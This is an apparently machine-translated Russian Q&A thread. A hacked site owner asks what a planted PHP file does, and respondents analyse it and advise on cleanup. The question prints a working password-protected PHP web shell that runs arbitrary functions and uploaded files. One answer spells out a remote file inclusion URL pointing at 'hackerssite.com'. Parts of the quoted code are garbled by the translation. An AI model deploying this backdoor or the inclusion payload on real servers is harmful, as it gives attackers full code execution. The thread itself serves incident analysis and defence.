Взломали! Что делает этот PHP-код? И как мне избежать этого? [закрытый]

Я был взломан, и, по-видимому, они отправляли спам-сообщения. Было два файла, которые они ввели на мой сервер (которые были дублированы во всех подкаталогах). Один из них-сильно хэшированный PHP-файл, который может быть отправителем. Приведенный ниже код взят из другого файла.

вот мой вопрос ... Что это получается? Я не могу перевести его назначение. Кроме того, что я должен сделать, чтобы это не повторилось?

<?php

if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a')
    die();
@extract($_POST);

if(!empty($a))
    @$a($b);

if(!empty($_FILES['tmp_name']))
    @include($_FILES['tmp_name']);

?>

3 ответов


немедленно переименуйте файл (на что-то другое, чем .php) перед дальнейшей проверкой, поэтому любой вредоносный пользователь больше не может его использовать.

затем исследуйте, как они смогли ввести это на ваш сервер.

в ваших журналах доступа вы найдете загрузки страниц, которые загружают этот конкретный файл PHP. Это будет вашей первой подсказкой. Исследуйте другие подключения с того же IP-адреса, например, и посмотрите, к каким скриптам они обращались/злоупотребляли. Где-то ты будешь ... вероятно, у вас есть устаревший / уязвимый плагин wordpress, плагин joomla и т. д. обновить или удалить этот плагин как можно скорее, или вы будете взломаны снова в ближайшее время!

также при проверке журналов доступа, посмотреть, если они загрузили новые бэкдоры! Возможно, вы видите, что некоторые скрипты вызываются по тому же IP-адресу, который не должен существовать. Удалить / переименовать их тоже!

что такое код делает довольно просто, но довольно продвинутый: Это позволяет держателю пароля выполните любой код, который вы сможете выполнить через PHP. Продвинутый бит заключается в том, что его трудно обнаружить. Он не использует base64, не eval и т. д.

edit:

идеализм сказал в комментариях:

Я на самом деле не использую Wordpress (или любую другую CMS) в этом домене, но у меня есть индекс.php файл, который обрабатывает динамическое создание различных страниц, делая включают существующего файла с префиксом подчеркивания-так индекс.РНР?go=about будет включать ("about.РНР.)" Он проверяет, существует ли файл, и, если нет, включает только файл по умолчанию. Я надеялся, что это достаточно безопасно. Здесь они могли использовать мой код? ` если (переменная$_GET['идти']==") { $перейти = 'видео'; } еще { $перейти = параметр $_GET['идти']; } если (!(file_exists (".$идти.'.php'))) { $go = 'videos';}

да, может быть ваша проблема! Вы говорите, что включенный файл имеет префикс с подчеркиванием, но я не вижу этого в вашем коде... Так, если хакер пошел в index.php?go=http://hackerssite.com/hackerscode , вы бы в конечном итоге в том числе http://hackerssite.com/hackerscode.php код и разрешить хаос!

удалите (и никогда не разрешайте) включение кода прямого ввода пользователем. Проверка $_GET['go'] против массива разрешенных страниц include или используйте switch вызов include.


это позволяет им запускать любую функцию, которую они хотят, и позволяет им загружать файл и немедленно включать его и анализировать как PHP... это так близко к полному доступу, как вы можете получить после root. Вот полная разбивка:

  1. разрешить атаку, чтобы убедиться, что они являются единственным, способным выдать атаку (простой защищенный паролем)

    if(@md5($_POST['pass'])!=='692e3f52ee6f16bc78fa6e1ec4bd4a6a') die();

  2. вытащить все переменные POST как свои собственные переменные и затем передайте любое имя функции ($a) и вызовите его (передавая переменную POST $b). - это позволяет им запускать любую загруженную функцию (включая такие вещи, как exec если ваша система это позволяет).

    @extract($_POST);
    if(!empty($a)) @$a($b);

  3. разрешить злоумышленнику загрузить файл (любой файл) и автоматически включить его в php-скрипт.

    if(!empty($_FILES['tmp_name'])) @include($_FILES['tmp_name']);

и @ перед каждым утверждением подавляет ошибки, поэтому он не будет отображаться в журнале ошибок, если вы проводите аудит.


похоже, что он выполняет функцию, имя которой задается через $_POST['a'] значением от $_POST['b'] в качестве параметра и не включает в себя файл, который загружается через специальную форму.

таким образом, в основном это позволяет пользователю выполнять PHP-файлы и функции на вашем сервере.

удалить или переименовать этот файл тут чтобы избежать дальнейшего использования.